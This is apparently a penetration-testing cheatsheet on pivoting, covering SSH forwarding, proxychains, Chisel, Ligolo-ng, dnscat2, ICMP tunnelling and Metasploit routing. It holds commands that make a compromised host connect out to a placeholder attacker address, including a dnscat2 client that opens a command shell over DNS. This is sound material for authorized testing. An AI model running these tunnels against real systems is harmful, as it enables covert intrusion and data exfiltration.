> ## Documentation Index
> Fetch the complete documentation index at: https://0-x.dev/llms.txt
> Use this file to discover all available pages before exploring further.

# Pivoting / Port Forwarding 

Pivoting is how you reach a network segment you don't have direct access to, by routing traffic through a host you've already compromised. In practice this almost always comes down to one of two techniques: forwarding a single port, or standing up a full proxy that routes anything through the pivot.

> **Port Forwarding**
>
> Maps one specific port on one host to another. Simple and reliable, but you need a new forward for every service you want to reach.

> **SOCKS Proxy / Tunneling**
>
> Routes arbitrary traffic through the pivot via tools like proxychains. More setup up front, but you get access to the whole subnet instead of one port at a time.

> [!TIP]
>
> Most of the SSH-based techniques below need an actual shell with credentials or keys on the pivot host. Chisel and Ligolo-ng are the better choice when you've only got a foothold and no SSH access.

***

## SSH Forwarding

If you've got SSH access to the pivot host, its built-in forwarding flags cover local, dynamic, and remote forwarding without needing to drop any extra tools on the target.

**Local (-L)**

Forwards a port on your own machine to a service only reachable from the pivot host, like a database sitting on its internal network.

```bash theme={null}
ssh -L 1234:localhost:3306 ubuntu@10.129.202.64
```

Multiple forwards can be chained in a single connection:

```bash theme={null}
ssh -L 1234:localhost:3306 -L 8080:localhost:80 ubuntu@10.129.202.64
```

**Dynamic (-D)**

Turns the SSH connection into a SOCKS proxy instead of forwarding one fixed port, letting you reach anything on the pivot's network through proxychains.

```bash theme={null}
ssh -D 9050 ubuntu@10.129.202.64
proxychains nmap -v -sn 172.16.5.1-200
```

On Windows, Plink (bundled with PuTTY) does the same thing when OpenSSH isn't available:

```bash theme={null}
plink -ssh -D 9050 ubuntu@10.129.15.50
```

`sshuttle` goes a step further and transparently routes an entire subnet through SSH without needing proxychains at all:

```bash theme={null}
sudo sshuttle -r ubuntu@PIVOT_HOST TARGET_NETWORK/24 -v
```

**Remote (-R)**

Exposes a port on your attack host back through the pivot, useful for catching a reverse shell from a host that can only reach the pivot, not you directly.

```bash theme={null}
ssh -R PIVOT_INTERNAL_IP:8080:0.0.0.0:8000 ubuntu@TARGET_IP -vN
```

***

## Proxychains

Proxychains wraps any command and routes its traffic through a SOCKS proxy, which is what turns an `ssh -D` or Chisel SOCKS listener into something every other tool on your box can use.

```bash theme={null}
# Config file location
cat /etc/proxychains.conf

# Add one of these at the bottom, matching whatever proxy you've set up
socks4 127.0.0.1 9050
socks5 127.0.0.1 1080
```

Prefix any tool with `proxychains` to route it through the tunnel:

```bash theme={null}
proxychains nmap -Pn -v 172.16.5.19
proxychains xfreerdp /v:172.16.5.19 /u:victor /p:pass@123
proxychains firefox-esr 172.16.5.135:80
```

***

## Chisel

Chisel tunnels traffic over HTTP, which makes it a solid option when raw socket connections get blocked but outbound HTTP doesn't. It runs in two modes depending on which direction traffic can actually flow.

Standard setup, when the pivot host can accept inbound connections from you:

```bash theme={null}
# On the pivot host
./chisel server -v -p 1234 --socks5

# On your attack host
./chisel client -v PIVOT_IP:1234 socks
```

If inbound traffic to the pivot is blocked, flip it around so the pivot connects out to you instead:

```bash theme={null}
# On your attack host
sudo ./chisel server --reverse -v -p 1234 --socks5

# On the pivot host
./chisel client -v ATTACKER_IP:1234 R:socks
```

> [!NOTE]
>
> [Chisel on GitHub](https://github.com/jpillora/chisel) · [0xdf's Chisel cheatsheet](https://0xdf.gitlab.io/cheatsheets/chisel)

***

## Ligolo-ng

Ligolo-ng sets up a tunnel using a virtual network interface instead of a SOCKS proxy, which means tools work against the target network directly rather than needing proxychains in front of every command.

```bash theme={null}
# Start the proxy server with a self-signed cert
sudo proxy -selfcert
# Note the port it reports, e.g. Listening on 0.0.0.0:11601

# On the pivot host, connect the agent back to the proxy
.\agent.exe -connect ATTACKER_IP:11601 -ignore-cert
```

Once the agent shows as joined, add a route to the network you want to reach and Ligolo creates a local interface for it:

```bash theme={null}
session          # confirm the agent connected
autoroute         # select the subnet to route, e.g. 172.16.1.5/24

# Now the target network is reachable directly, no proxychains needed
ping 172.16.1.10
nmap 172.16.1.10
```

> [!NOTE]
>
> [Ligolo-ng on GitHub](https://github.com/nicocha30/ligolo-ng)

***

## DNS and ICMP Tunneling

Both of these exist for the same reason: getting data out when every normal egress path is blocked except for a protocol defenders rarely filter closely.

DNSCat2 encrypts traffic inside DNS queries, which makes it one of the stealthier tunneling options since DNS is almost never blocked outbound.

```bash theme={null}
# Start the DNS server on your attack host
sudo ruby dnscat2.rb --dns host=ATTACKER_IP,port=53,domain=attacker.local --no-cache
```

```powershell theme={null}
# Run the client on the target, PSK must match the server
Import-Module .\dnscat2.ps1
Start-Dnscat2 -DNSserver ATTACKER_IP -Domain attacker.local -PreSharedSecret PSK -Exec cmd

# Interact with the resulting session
window -i 1
```

> **ICMP Tunneling with ptunnel-ng**
>
> ICMP tunneling hides traffic inside ping packets, which only works if ICMP is actually allowed out of the target network.
>
> ```bash theme={null}
> # On the pivot host
> sudo ./ptunnel-ng -r10.129.202.64 -R22
>
> # On your attack host
> sudo ./ptunnel-ng -p10.129.202.64 -l2222 -r10.129.202.64 -R22
> ```
>
> From there you can layer SSH dynamic forwarding on top of the tunnel:
>
> ```bash theme={null}
> ssh -D 9050 -p2222 -lubuntu 127.0.0.1
> ```
>
> [ptunnel-ng on GitHub](https://github.com/utoni/ptunnel-ng)

> [!NOTE]
>
> [dnscat2](https://github.com/iagox86/dnscat2) · [dnscat2-powershell client](https://github.com/lukebaggett/dnscat2-powershell)

***

## Metasploit Pivoting

When you're already working through a Meterpreter session, `autoroute` and the built-in SOCKS proxy module let you pivot without dropping any extra binaries on the target.

```text theme={null}
run autoroute -s SUBNET
use auxiliary/server/socks_proxy
set VERSION 4a
set SRVPORT 9050
run -j
```

Point proxychains at the port you just opened and scan as usual:

```bash theme={null}
proxychains4 nmap -sT -Pn 192.168.56.3
```

For forwarding a single port instead of a whole subnet:

```text theme={null}
use post/multi/manage/autoroute
portfwd add -l 1234 -p 80 -r REMOTE_IP
```

> [!WARNING]
>
> Windows has its own built-in forwarder if you'd rather avoid Metasploit entirely. `netsh.exe interface portproxy add v4tov4 listenport=8080 listenaddress=PIVOT_HOST connectport=3389 connectaddress=TARGET_HOST`, checked with `netsh.exe interface portproxy show v4tov4`.

> **SOCKS over RDP (RDP-only access)**
>
> When RDP is the only access you have to a pivot host, SocksOverRDP tunnels a SOCKS connection through the RDP session itself.
>
> Load the plugin on your own machine before connecting:
>
> ```text theme={null}
> regsvr32.exe SocksOverRDP-Plugin.dll
> ```
>
> Open the RDP session as normal with `mstsc.exe`, then transfer `SocksOverRDP-Server.exe` to the target and run it with admin rights. Point a proxy client like Proxifier at `127.0.0.1:1080` to route traffic through it.
>
> [SocksOverRDP releases](https://github.com/nccgroup/SocksOverRDP/releases)

***

## Quick Reference Tools

> **[Ligolo-ng](https://github.com/nicocha30/ligolo-ng)**
>
> Interface-based tunneling, no SOCKS proxy required.

> **[Chisel](https://github.com/jpillora/chisel)**
>
> HTTP-based tunneling with forward and reverse modes.

> **[0xdf Chisel Cheatsheet](https://0xdf.gitlab.io/cheatsheets/chisel)**
>
> Practical Chisel usage patterns across different scenarios.

> **[Proxifier](https://www.proxifier.com/)**
>
> Windows GUI proxy client, pairs well with SocksOverRDP.

> [!WARNING]
>
> Replace `ATTACKER_IP`, `PIVOT_IP`, `TARGET_IP` and ports with your real infrastructure details. For authorized penetration tests, CTFs, and lab environments only.


This documentation is built and hosted on [Mintlify](https://mintlify.com), a developer documentation platform.